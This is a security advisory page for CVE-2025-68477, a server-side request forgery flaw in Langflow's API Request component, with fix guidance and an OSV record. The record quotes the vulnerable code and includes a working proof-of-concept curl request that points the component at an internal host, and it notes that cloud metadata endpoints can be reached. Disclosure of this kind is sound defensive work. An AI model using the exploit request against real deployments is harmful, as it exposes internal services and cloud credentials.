CVE-2025-68477: Langflow Langflow Vulnerable To Server-Side Request Vulnerability
HIGHCVE-2025-68477 is a HIGH (CVSS 7.7) langflow vulnerable to server-side request vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Langflow libraries in the PyPI ecosystem. The issue involves langflow vulnerable to server-side request forgery. Remediation is available by upgrading affected packages to version 1.7.1.
CVE-2025-68477 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2025-68477
To remediate this vulnerability, upgrade all affected Langflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install langflow>=1.7.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show langflow
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-68477, inspect your installed packages using pip:
pip show langflow
Analyze the terminal output to locate any version of Langflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.1), your application is affected.
Note: The pip show langflow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Langflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-68477 Affected Langflow Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
langflow
|
PyPI |
< 1.7.1
|
1.7.1
|
References
Frequently Asked Questions
What is CVE-2025-68477?
Which Langflow versions are affected?
What version fixes CVE-2025-68477?
Is langflow affected?
What is the CVSS score of CVE-2025-68477?
What CWE is associated with CVE-2025-68477?
How can I check PyPI dependencies for CVE-2025-68477?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5993-7p27-66g5",
"modified" : "2025-12-19T22:52:59Z",
"published" : "2025-12-19T22:52:59Z",
"aliases" : [ "CVE-2025-68477" ],
"summary" : "Langflow vulnerable to Server-Side Request Forgery",
"details" : "**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n \n ```python\n @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n async def simplified_run_flow(\n *,\n background_tasks: BackgroundTasks,\n flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n input_request: SimplifiedAPIRequest | None = None,\n stream: bool = False,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n context: dict | None = None,\n http_request: Request,\n ):\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n \n ```bash\n @router.post(\n \"/run/advanced/{flow_id_or_name}\",\n response_model=RunResponse,\n response_model_exclude_none=True,\n )\n async def experimental_run_flow(\n *,\n session: DbSession,\n flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n inputs: list[InputValueRequest] | None = None,\n outputs: list[str] | None = None,\n tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n stream: Annotated[bool, Body(embed=True)] = False,\n session_id: Annotated[None | str, Body(embed=True)] = None,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n ) -> RunResponse:\n ```\n \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n \n ```python\n def _normalize_url(self, url: str) -> str:\n \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n if not url or not isinstance(url, str):\n msg = \"URL cannot be empty\"\n raise ValueError(msg)\n \n url = url.strip()\n if url.startswith((\"http://\", \"https://\")):\n return url\n return f\"https://{url}\"\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n \n ```python\n url = self._normalize_url(url)\n \n # Validate URL\n if not validators.url(url):\n msg = f\"Invalid URL provided: {url}\"\n raise ValueError(msg)\n ```\n \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n \n ```python\n try:\n # Prepare request parameters\n request_params = {\n \"method\": method,\n \"url\": url,\n \"headers\": headers,\n \"json\": processed_body,\n \"timeout\": timeout,\n \"follow_redirects\": follow_redirects,\n }\n response = await client.request(**request_params)\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n \n ```python\n # Base metadata\n metadata = {\n \"source\": url,\n \"status_code\": response.status_code,\n \"response_headers\": response_headers,\n }\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n \n ```python\n # Handle response content\n if is_binary:\n result = response.content\n else:\n try:\n result = response.json()\n except json.JSONDecodeError:\n self.log(\"Failed to decode JSON response\")\n result = response.text.encode(\"utf-8\")\n \n metadata[\"result\"] = result\n \n if include_httpx_metadata:\n metadata.update({\"headers\": headers})\n \n return Data(data=metadata)\n ```\n \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/<FLOW_ID>` with an API key to perform SSRF. The response returned the internal service’s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n \n <img width=\"1917\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f\" />\n \n- Exploit\n \n ```bash\n curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \\\n -H 'Content-Type: application/json' \\\n -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \\\n --data-raw '{\n \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n \"outputs\":[\"Chat Output\"],\n \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n \"stream\":false\n }' | jq -r '.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result'\n ```\n \n <img width=\"1918\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1\" />\n \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "langflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.7.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68477"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/langflow-ai/langflow"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-12-19T22:52:59Z",
"nvd_published_at" : "2025-12-19T17:15:53Z"
}
}